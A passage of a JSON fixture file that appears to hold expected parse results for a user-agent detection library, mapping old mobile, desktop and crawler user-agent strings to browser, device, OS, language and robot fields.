: ".0.326", "browser_major" : "9", "browser_minor" : ".3", "browser_string" : "UCBrowser", "device" : "wap", "device_string" : "NokiaX2-01", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "NokiaX2-01/5.0 (08.71) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 (Java; U; en-in; nokiax2-01) UCBrowser8.3.0.154/69/444/UCWEB Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.154", "browser_major" : "8", "browser_minor" : ".3", "browser_string" : "UCBrowser", "country" : "IN", "device" : "wap", "device_string" : "NokiaX2-01", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "NokiaX2-01/5.0 (08.71) Profile/MIDP-2.1 Configuration/CLDC-1.1 UCWEB/2.0 (Java; U; MIDP-2.0; en-US; nokiax2-01) U2/1.0.0 UCBrowser/9.2.0.311 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.311", "browser_major" : "9", "browser_minor" : ".2", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "nokiax2-01", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "NokiaX2-02/2.0 (11.79) Profile/MIDP-2.1 Configuration/CLDC-1.1 UCWEB/2.0 (Java; U; MIDP-2.0; en-US; NokiaX2-02) U2/1.0.0 UCBrowser/9.3.0.326 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.326", "browser_major" : "9", "browser_minor" : ".3", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "NokiaX2-02", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "NokiaX2-02/2.0 (11.84) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 (Java; U; en-us; nokiax2-02) UCBrowser8.3.1.161/70/405/UCWEB Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".1.161", "browser_major" : "8", "browser_minor" : ".3", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "NokiaX2-02", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "NokiaX2-02/2.0 (12.04) Profile/MIDP-2.1 Configuration/CLDC-1.1 UCWEB/2.0 (Java; U; MIDP-2.0; en-US; NokiaX2-02) U2/1.0.0 UCBrowser/9.3.0.326 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.326", "browser_major" : "9", "browser_minor" : ".3", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "NokiaX2-02", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "Opera/9.21 (Macintosh; Intel Mac OS X; U; en)" : { "browser" : "opera", "browser_string" : "Opera", "match" : [ "mac", "macosx", "opera" ], "os" : "macosx", "os_string" : "Mac OS X", "public_major" : "9", "public_minor" : "0.21", "public_version" : "9.21" }, "Opera/9.50 (Nintendo DSi; Opera/446; U; ja)" : { "browser" : "opera", "browser_string" : "Opera", "device" : "dsi", "device_string" : "Nintendo DSi", "match" : [ "opera", "device", "mobile", "dsi" ], "no_match" : [ "robot" ], "public_major" : "9", "public_minor" : "0.50", "public_version" : "9.50" }, "Opera/9.80 (Android; Opera Mini/5.1.21126/19.916; U; en) Presto/2.5.25" : { "browser" : "opera", "browser_string" : "Opera", "device" : "android", "device_string" : "Android", "engine" : "presto", "engine_beta" : ".25", "engine_major" : "2", "engine_minor" : ".5", "engine_string" : "Presto", "engine_version" : "2.5", "language" : "EN", "match" : [ "opera", "android", "device", "presto", "mobile" ], "os" : "android", "os_string" : "Android", "public_major" : "9", "public_minor" : "0.80", "public_version" : "9.80" }, "Opera/9.80 (BREW; Opera Mini/5.1.173/26.1474; U; en) Presto/2.8.119 240X400 LG VN270" : { "browser" : "opera", "browser_major" : "9", "browser_minor" : ".80", "browser_string" : "Opera", "device" : "wap", "device_string" : "LG VN270", "engine" : "presto", "engine_beta" : ".119", "engine_major" : "2", "engine_minor" : ".8", "engine_string" : "Presto", "language" : "EN", "match" : [ "device", "brew", "wap", "mobile", "opera", "presto" ], "os" : "brew", "os_string" : "Brew" }, "Opera/9.80 (BREW; Opera Mini/5.1.182/26.1474; U; en) Presto/2.8.119 320X240 Pantech TXT8045" : { "browser" : "opera", "browser_major" : "9", "browser_minor" : ".80", "browser_string" : "Opera", "device" : "wap", "device_string" : "Pantech TXT8045", "engine" : "presto", "engine_beta" : ".119", "engine_major" : "2", "engine_minor" : ".8", "engine_string" : "Presto", "language" : "EN", "match" : [ "device", "brew", "wap", "mobile", "opera", "presto" ], "os" : "brew", "os_string" : "Brew" }, "Opera/9.80 (BREW; Opera Mini/5.1.182/26.1474; U; en) Presto/2.8.119 400X240 Pantech CDM8992" : { "browser" : "opera", "browser_major" : "9", "browser_minor" : ".80", "browser_string" : "Opera", "device" : "wap", "device_string" : "Pantech CDM8992", "engine" : "presto", "engine_beta" : ".119", "engine_major" : "2", "engine_minor" : ".8", "engine_string" : "Presto", "language" : "EN", "match" : [ "device", "brew", "wap", "mobile", "opera", "presto" ], "os" : "brew", "os_string" : "Brew" }, "Opera/9.80 (BREW; Opera Mini/5.1.189/26.1474; U; en) Presto/2.8.119 240X400 LG VN271" : { "browser" : "opera", "browser_major" : "9", "browser_minor" : ".80", "browser_string" : "Opera", "device" : "wap", "device_string" : "LG VN271", "engine" : "presto", "engine_beta" : ".119", "engine_major" : "2", "engine_minor" : ".8", "engine_string" : "Presto", "language" : "EN", "match" : [ "device", "brew", "wap", "mobile", "opera", "presto" ], "os" : "brew", "os_string" : "Brew" }, "Opera/9.80 (BREW; Opera Mini/5.30/26.1474; U; en) Presto/2.8.119 240X320 Casio C751" : { "browser" : "opera", "browser_major" : "9", "browser_minor" : ".80", "browser_string" : "Opera", "device" : "wap", "device_string" : "Casio C751", "engine" : "presto", "engine_beta" : ".119", "engine_major" : "2", "engine_minor" : ".8", "engine_string" : "Presto", "language" : "EN", "match" : [ "device", "brew", "wap", "mobile", "opera", "presto" ], "os" : "brew", "os_string" : "Brew" }, "Opera/9.80 (BREW; Opera Mini/5/27.1366; U; en) Presto/2.8.119 Version/11.10" : { "browser" : "opera", "browser_major" : "11", "browser_minor" : ".10", "browser_string" : "Opera", "device" : "wap", "device_string" : "WAP capable phone", "engine" : "presto", "engine_beta" : ".119", "engine_major" : "2", "engine_minor" : ".8", "engine_string" : "Presto", "language" : "EN", "match" : [ "device", "brew", "wap", "mobile", "opera", "presto" ], "os" : "brew", "os_string" : "Brew" }, "Opera/9.80 (BREW; Opera Mini/6.0.0/27.2314; U; en) Presto/2.8.119 240X320 Casio C781" : { "browser" : "opera", "browser_major" : "9", "browser_minor" : ".80", "browser_string" : "Opera", "device" : "wap", "device_string" : "Casio C781", "engine" : "presto", "engine_beta" : ".119", "engine_major" : "2", "engine_minor" : ".8", "engine_string" : "Presto", "language" : "EN", "match" : [ "device", "brew", "wap", "mobile", "opera", "presto" ], "os" : "brew", "os_string" : "Brew" }, "Opera/9.80 (BREW; Opera Mini/6.143/27.1382; U; id) Presto/2.8.119 Version/11.10" : { "browser" : "opera", "browser_major" : "11", "browser_minor" : ".10", "browser_string" : "Opera", "device" : "wap", "device_string" : "WAP capable phone", "engine" : "presto", "engine_beta" : ".119", "engine_major" : "2", "engine_minor" : ".8", "engine_string" : "Presto", "language" : "ID", "match" : [ "device", "brew", "wap", "mobile", "opera", "presto" ], "os" : "brew", "os_string" : "Brew" }, "Opera/9.80 (J2ME/MIDP; Opera Mini/4.2.14427/19.916; U; en) Presto/2.5.25" : { "browser" : "opera", "browser_string" : "Opera", "engine" : "presto", "engine_beta" : ".25", "engine_major" : "2", "engine_minor" : ".5", "engine_string" : "Presto", "engine_version" : "2.5", "language" : "EN", "match" : [ "opera", "presto", "mobile" ], "public_major" : "9", "public_minor" : "0.80", "public_version" : "9.80" }, "Opera/9.80 (S60; SymbOS; Opera Mobi/320; U; sv) Presto/2.4.15 Version/10.00" : { "browser" : "opera", "browser_string" : "Opera", "country" : null, "engine" : "presto", "engine_beta" : ".15", "engine_major" : "2", "engine_minor" : ".4", "engine_string" : "Presto", "engine_version" : "2.4", "language" : null, "major" : "10", "match" : [ "opera", "presto", "mobile" ], "minor" : ".0", "no_match" : null, "other" : null, "public_major" : "10.0", "public_minor" : ".0", "public_version" : "10.0", "version" : "10.0" }, "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.10" : { "browser" : "opera", "browser_string" : "Opera", "engine" : "presto", "engine_beta" : ".15", "engine_major" : "2", "engine_minor" : ".2", "engine_string" : "Presto", "engine_version" : "2.2", "language" : "EN", "match" : [ "windows", "winxp", "winnt", "win32", "presto", "opera" ], "os" : "windows", "os_string" : "WinXP", "public_major" : "10", "public_minor" : "0.10", "public_version" : "10.10" }, "Opera/9.80 (Windows NT 6.1; Opera Tablet/11648; U; en) Presto/2.7.81 Version/11.00" : { "browser" : "opera", "browser_string" : "Opera", "country" : null, "engine" : "presto", "engine_beta" : ".81", "engine_major" : "2", "engine_minor" : ".7", "engine_string" : "Presto", "engine_version" : "2.7", "language" : "EN", "major" : "11", "match" : [ "tablet", "win32", "windows", "win7", "opera", "presto", "winnt" ], "minor" : ".0", "no_match" : null, "os" : "windows", "os_string" : "Win7", "other" : null, "public_major" : "11.0", "public_minor" : ".0", "public_version" : "11.0", "version" : "11.0" }, "RealPlayer SP, Windows 7: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; (R1 1.6))" : { "browser" : "realplayer", "browser_string" : "RealPlayer", "country" : null, "engine" : "trident", "engine_beta" : "", "engine_major" : "4", "engine_minor" : ".0", "engine_string" : "Trident", "engine_version" : "4.0", "language" : null, "major" : null, "match" : [ "dotnet", "ie", "ie_compat_mode", "ie55up", "ie5up", "ie4up", "ie7", "trident", "realplayer", "win32", "win7", "windows", "winnt" ], "minor" : "0", "no_match" : [ "unix", "sco" ], "os" : "windows", "os_string" : "Win7", "other" : null, "version" : null }, "RealPlayer version 10, Mac OS X: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.9 (KHTML, like Gecko) RealPlayer/10.1.0.503" : { "browser" : "realplayer", "browser_string" : "RealPlayer", "country" : "US", "engine" : "webkit", "engine_beta" : "", "engine_major" : "531", "engine_minor" : ".9", "engine_string" : "WebKit", "engine_version" : "531.9", "language" : "EN", "major" : "10", "match" : [ "macosx", "mac", "realplayer", "webkit", "safari" ], "minor" : "0.1", "no_match" : [ "windows" ], "os" : "macosx", "os_beta" : ".2", "os_major" : "10", "os_minor" : ".6", "os_string" : "Mac OS X", "os_version" : "10.6", "other" : null, "version" : "10.1" }, "RealPlayer version 11, Mac OS X: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit/531.9 (KHTML, like Gecko) RealPlayer/11.0.1.949" : { "browser" : "realplayer", "browser_string" : "RealPlayer", "country" : "US", "engine" : "webkit", "engine_beta" : "", "engine_major" : "531", "engine_minor" : ".9", "engine_string" : "WebKit", "engine_version" : "531.9", "language" : "EN", "major" : "11", "match" : [ "macosx", "mac", "realplayer", "webkit", "safari" ], "minor" : "0", "no_match" : [ "unix", "sco" ], "os" : "macosx", "os_beta" : ".2", "os_major" : "10", "os_minor" : ".6", "os_string" : "Mac OS X", "os_version" : "10.6", "other" : null, "version" : "11.0" }, "SAMSUNG-SGH-E250/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 (compatible; Googlebot-Mobile/2.1; +http://www.google.com/bot.html)" : { "device" : "wap", "device_string" : "SAMSUNG-SGH-E250", "major" : "2", "match" : [ "device", "googlemobile", "google", "mobile", "robot", "wap" ], "minor" : "0.1", "public_major" : "2", "public_minor" : ".1", "public_version" : "2.1", "robot" : "googlemobile", "robot_beta" : "", "robot_major" : "2", "robot_minor" : ".1", "robot_string" : "Googlebot Mobile", "robot_version" : "2.1", "version" : "2.1" }, "SonyEricssonG502/R1FA Profile/MIDP-2.1 Configuration/CLDC-1.1 UNTRUSTED/1.0 UCWEB/2.0 (Java; U; MIDP-2.0; id; SonyEricssonG502) U2/1.0.0 UCBrowser/9.3.0.326 U2/1.0.0 Mobile" : { "browser" : "ucbrowser", "browser_beta" : ".0.326", "browser_major" : "9", "browser_minor" : ".3", "browser_string" : "UCBrowser", "device" : "wap", "device_string" : "SonyEricssonG502", "language" : "ID", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "SonyEricssonJ105i/R1HA Profile/MIDP-2.1 Configuration/CLDC-1.1 UNTRUSTED/1.0 Mozilla/5.0 (Java; U; en-in; sonyericssonj105i) UCBrowser8.2.1.144/69/444/UCWEB Mobile" : { "browser" : "ucbrowser", "browser_beta" : ".1.144", "browser_major" : "8", "browser_minor" : ".2", "browser_string" : "UCBrowser", "country" : "IN", "device" : "wap", "device_string" : "SonyEricssonJ105i", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "SonyEricssonU1i/R1CA; Mozilla/5.0 (SymbianOS/9.4; U; Series60/5.0 Profile/MIDP-2.1 Configuration/CLDC-1.1 model-orange) AppleWebKit/525 (KHTML like Gecko) Version/3.0 Safari/525" : { "browser" : "safari", "browser_string" : "Safari", "device" : "wap", "device_string" : "SonyEricssonU1i", "engine" : "webkit", "engine_major" : "525", "engine_string" : "WebKit", "engine_version" : "525", "major" : "5", "match" : [ "device", "mobile", "safari", "webkit", "wap" ], "minor" : "0.25", "public_major" : "3", "public_minor" : "0", "version" : "5.25" }, "SonyEricssonW595/R3EA Profile/MIDP-2.1 Configuration/CLDC-1.1 UNTRUSTED/1.0 Mozilla/5.0 (Java; U; fa; sonyericssonw595) AppleWebKit/530.13 (KHTML, like Gecko) UCBrowser/8.5.0.185/82/352/UCWEB Mobile" : { "browser" : "ucbrowser", "browser_beta" : ".0.185", "browser_major" : "8", "browser_minor" : ".5", "browser_string" : "UCBrowser", "device" : "wap", "device_string" : "SonyEricssonW595", "engine" : "webkit", "engine_beta" : "", "engine_major" : "530", "engine_minor" : ".13", "engine_string" : "WebKit", "language" : "FA", "match" : [ "device", "wap", "mobile", "ucbrowser", "webkit" ] }, "T-mobile Dash Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone; 320x240;) msnbot-mobile/1.1 (+http://search.msn.com/msnbot.htm)" : { "browser" : "ie", "browser_string" : "MSIE", "country" : null, "engine" : "ie", "language" : null, "major" : "4", "match" : [ "wince", "windows", "ie", "ie4", "ie4up", "mobile", "msn", "msnmobile", "robot" ], "minor" : ".01", "no_match" : null, "os" : "windows", "os_string" : "WinCE", "other" : null, "public_major" : "4", "public_minor" : ".01", "public_version" : "4.01", "robot" : "msnmobile", "robot_beta" : "", "robot_major" : "1", "robot_minor" : ".1", "robot_string" : "MSN Mobile", "robot_version" : "1.1", "version" : "4.01" }, "TinyBrowser/2.0 (TinyBrowser Comment) Gecko/20201231" : { "country" : null, "engine" : "gecko", "language" : null, "major" : "2", "match" : [ "gecko" ], "minor" : "0", "no_match" : null, "other" : null, "version" : "2.000" }, "UCWEB/2.0 (Java; U; MIDP-2.0; Pt-BR; gt-i6220) U2/1.0.0 UCBrowser/9.2.0.311 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.311", "browser_major" : "9", "browser_minor" : ".2", "browser_string" : "UCBrowser", "device" : "wap", "device_string" : "gt-i6220", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "UCWEB/2.0 (Java; U; MIDP-2.0; ar-SA; NokiaN70-1) U2/1.0.0 UCBrowser/9.3.0.326 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.326", "browser_major" : "9", "browser_minor" : ".3", "browser_string" : "UCBrowser", "country" : "SA", "device" : "wap", "device_string" : "NokiaN70-1", "language" : "AR", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "UCWEB/2.0 (Java; U; MIDP-2.0; ar-SA; nokia6120c) U2/1.0.0 UCBrowser/8.9.0.251 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.251", "browser_major" : "8", "browser_minor" : ".9", "browser_string" : "UCBrowser", "country" : "SA", "device" : "wap", "device_string" : "nokia6120c", "language" : "AR", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "UCWEB/2.0 (Java; U; MIDP-2.0; ar-SA; nokia701) U2/1.0.0 UCBrowser/8.9.0.251 U2/1.0.0 Mobile UNTRUSTED/1.0 3gpp-gba" : { "browser" : "ucbrowser", "browser_beta" : ".0.251", "browser_major" : "8", "browser_minor" : ".9", "browser_string" : "UCBrowser", "country" : "SA", "device" : "wap", "device_string" : "nokia701", "language" : "AR", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "UCWEB/2.0 (Java; U; MIDP-2.0; en-US; GT-S5233S) U2/1.0.0 UCBrowser/9.3.0.326 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.326", "browser_major" : "9", "browser_minor" : ".3", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "GT-S5233S", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "UCWEB/2.0 (Java; U; MIDP-2.0; en-US; LG-LG840G) U2/1.0.0 UCBrowser/9.3.0.326 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.326", "browser_major" : "9", "browser_minor" : ".3", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "LG-LG840G", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "UCWEB/2.0 (Java; U; MIDP-2.0; en-US; MICROMAX) U2/1.0.0 UCBrowser/9.3.0.326 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.326", "browser_major" : "9", "browser_minor" : ".3", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "MICROMAX", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "UCWEB/2.0 (Java; U; MIDP-2.0; en-US; MicromaxQ5) U2/1.0.0 UCBrowser/9.4.0.342 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.342", "browser_major" : "9", "browser_minor" : ".4", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "MicromaxQ5", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "UCWEB/2.0 (Java; U; MIDP-2.0; en-US; MicromaxX510) U2/1.0.0 UCBrowser/9.3.0.326 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.326", "browser_major" : "9", "browser_minor" : ".3", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "MicromaxX510", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "UCWEB/2.0 (Java; U; MIDP-2.0; en-US; Nokia5233) U2/1.0.0 UCBrowser/9.3.0.326 U2/1.0.0 Mobile UNTRUSTED/1.0 3gpp-gba" : { "browser" : "ucbrowser", "browser_beta" : ".0.326", "browser_major" : "9", "browser_minor" : ".3", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "Nokia5233", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "UCWEB/2.0 (Java; U; MIDP-2.0; en-US; NokiaN70-1) U2/1.0.0 UCBrowser/9.3.0.326 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.326", "browser_major" : "9", "browser_minor" : ".3", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "NokiaN70-1", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "UCWEB/2.0 (Java; U; MIDP-2.0; en-US; SAMSUNG-GT-C6712) U2/1.0.0 UCBrowser/9.3.0.326 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.326", "browser_major" : "9", "browser_minor" : ".3", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "SAMSUNG-GT-C6712", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "UCWEB/2.0 (Java; U; MIDP-2.0; en-US; SAMSUNG-GT-S3650) U2/1.0.0 UCBrowser/9.3.0.326 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.326", "browser_major" : "9", "browser_minor" : ".3", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "SAMSUNG-GT-S3650", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "UCWEB/2.0 (Java; U; MIDP-2.0; en-US; SAMSUNG-GT-S3653) U2/1.0.0 UCBrowser/9.4.0.342 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.342", "browser_major" : "9", "browser_minor" : ".4", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "SAMSUNG-GT-S3653", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "UCWEB/2.0 (Java; U; MIDP-2.0; en-US; SAMSUNG-GT-S5253) U2/1.0.0 UCBrowser/9.3.0.326 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.326", "browser_major" : "9", "browser_minor" : ".3", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "SAMSUNG-GT-S5253", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "UCWEB/2.0 (Java; U; MIDP-2.0; en-US; SAMSUNG-GT-S5333) U2/1.0.0 UCBrowser/9.3.0.326 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.326", "browser_major" : "9", "browser_minor" : ".3", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "SAMSUNG-GT-S5333", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "UCWEB/2.0 (Java; U; MIDP-2.0; en-US; SAMSUNG-GT-S5350) U2/1.0.0 UCBrowser/9.3.0.326 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.326", "browser_major" : "9", "browser_minor" : ".3", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "SAMSUNG-GT-S5350", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "UCWEB/2.0 (Java; U; MIDP-2.0; en-US; SAMSUNG-GT-S5620) U2/1.0.0 UCBrowser/9.3.0.326 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.326", "browser_major" : "9", "browser_minor" : ".3", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "SAMSUNG-GT-S5620", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "UCWEB/2.0 (Java; U; MIDP-2.0; en-US; lg-lg800g) U2/1.0.0 UCBrowser/9.2.0.311 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.311", "browser_major" : "9", "browser_minor" : ".2", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "lg-lg800g", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "UCWEB/2.0 (Java; U; MIDP-2.0; en-US; samsung-gt-s3850) U2/1.0.0 UCBrowser/9.2.0.311 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.311", "browser_major" : "9", "browser_minor" : ".2", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "samsung-gt-s3850", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "UCWEB/2.0 (Java; U; MIDP-2.0; en-US; samsung-gt-s5380k) U2/1.0.0 UCBrowser/9.2.0.311 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.311", "browser_major" : "9", "browser_minor" : ".2", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "samsung-gt-s5380k", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "UCWEB/2.0 (Java; U; MIDP-2.0; es-LA; cl381) U2/1.0.0 UCBrowser/9.0.0.260 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.260", "browser_major" : "9", "browser_minor" : ".0", "browser_string" : "UCBrowser", "country" : "LA", "device" : "wap", "device_string" : "cl381", "language" : "ES", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "UCWEB/2.0(Java; U; MIDP-2.0; en-US; nokia5800d-1) U2/1.0.0 UCBrowser/8.8.1.252 U2/1.0.0 Mobile UNTRUSTED/1.0 3gpp-gba" : { "browser" : "ucbrowser", "browser_beta" : ".1.252", "browser_major" : "8", "browser_minor" : ".8", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "nokia5800d-1", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "UCWEB/2.0(Java; U; MIDP-2.0; fa; samsung-gt-c6712) U2/1.0.0 UCBrowser/8.7.0.218 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".0.218", "browser_major" : "8", "browser_minor" : ".7", "browser_string" : "UCBrowser", "device" : "wap", "device_string" : "samsung-gt-c6712", "language" : "FA", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "UCWEB/2.0(Java; U; MIDP-2.0; id; maui) U2/1.0.0 UCBrowser/8.7.1.234 U2/1.0.0 Mobile UNTRUSTED/1.0" : { "browser" : "ucbrowser", "browser_beta" : ".1.234", "browser_major" : "8", "browser_minor" : ".7", "browser_string" : "UCBrowser", "device" : "wap", "device_string" : "maui", "language" : "ID", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "UNTRUSTED/1.0 UCWEB/2.0 (Java; U; MIDP-2.0; en-US; ZTE-P107A20(Propus)) U2/1.0.0 UCBrowser/9.3.0.326 U2/1.0.0 Mobile" : { "browser" : "ucbrowser", "browser_beta" : ".0.326", "browser_major" : "9", "browser_minor" : ".3", "browser_string" : "UCBrowser", "country" : "US", "device" : "wap", "device_string" : "ZTE-P107A20(Propus", "language" : "EN", "match" : [ "device", "wap", "mobile", "ucbrowser" ] }, "UP.Browser/4.1.2a-XXXX" : { "country" : null, "device" : "wap", "device_string" : "WAP capable phone", "language" : null, "major" : "4", "match" : [ "wap", "device", "mobile" ], "minor" : "0.1", "no_match" : null, "other" : null, "version" : "4.1" }, "Wapalizer/1.0" : { "country" : null, "device" : "wap", "device_string" : "WAP capable phone", "language" : null, "major" : "1", "match" : [ "wap", "device", "mobile" ], "minor" : "0", "no_match" : null, "other" : null, "version" : "1" }, "Wget/1.4.5" : { "country" : null, "language" : null, "major" : "1", "match" : [ "wget", "robot" ], "minor" : "0.4", "no_match" : null, "other" : null, "robot" : "wget", "robot_beta" : ".5", "robot_major" : "1", "robot_minor" : ".4", "robot_string" : "Wget", "robot_version" : "1.4", "version" : "1.4" }, "YourWap/1.16" : { "country" : null, "device" : "wap", "device_string" : "WAP capable phone", "language" : null, "major" : "1", "match" : [ "wap", "device", "mobile" ], "minor" : "0.16", "no_match" : null, "other" : null, "version" : "1.16" }, "curl/7.45.0" : { "browser" : "curl", "browser_beta" : ".0", "browser_major" : "7", "browser_minor" : ".45", "browser_string" : "curl", "match" : [ "curl", "robot", "lib" ], "robot" : "curl", "robot_beta" : ".0", "robot_string" : "curl", "robot_version" : "7.45" }, "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" : { "match" : [ "robot", "facebook" ], "robot" : "facebook", "robot_beta" : "", "robot_major" : "1", "robot_minor" : ".1", "robot_string" : "Facebook", "robot_version" : "1.1" }, "fetch/1.0 FreeBSD/4.0-CURRENT (i386)" : { "major" : "1", "match" : [ "bsd", "freebsd", "unix", "robot" ], "minor" : "0", "no_match" : null, "os" : "unix", "os_string" : "FreeBSD", "other" : null, "robot" : "unknown", "robot_string" : "fetch/1.0 FreeBSD/4.0-CURRENT", "version" : "1" }, "iCab/Pre2.0 (Macintosh; I; PPC)" : { "browser" : "icab", "browser_string" : "iCab", "country" : null, "language" : null, "major" : "2", "match" : [ "mac", "macppc", "icab" ], "minor" : "0", "no_match" : null, "os" : "mac", "os_string" : "Mac", "other" : null, "version" : "2" }, "libcurl-agent/1.0" : { "browser" : "curl", "browser_string" : "curl", "country" : null, "language" : null, "major" : "1", "match" : [ "curl", "lib", "robot" ], "minor" : "0", "no_match" : null, "other" : null, "robot" : "curl", "robot_beta" : "", "robot_major" : "1", "robot_minor" : ".0", "robot_string" : "curl", "robot_version" : "1.0", "version" : "1" }, "libwww-perl/5.11" : { "country" : null, "language" : null, "major" : "5", "match" : [ "lib", "lwp", "robot" ], "minor" : "0.11", "no_match" : null, "other" : null, "robot" : "lwp", "robot_beta" : "", "robot_major" : "5", "robot_minor" : ".11", "robot_string" : 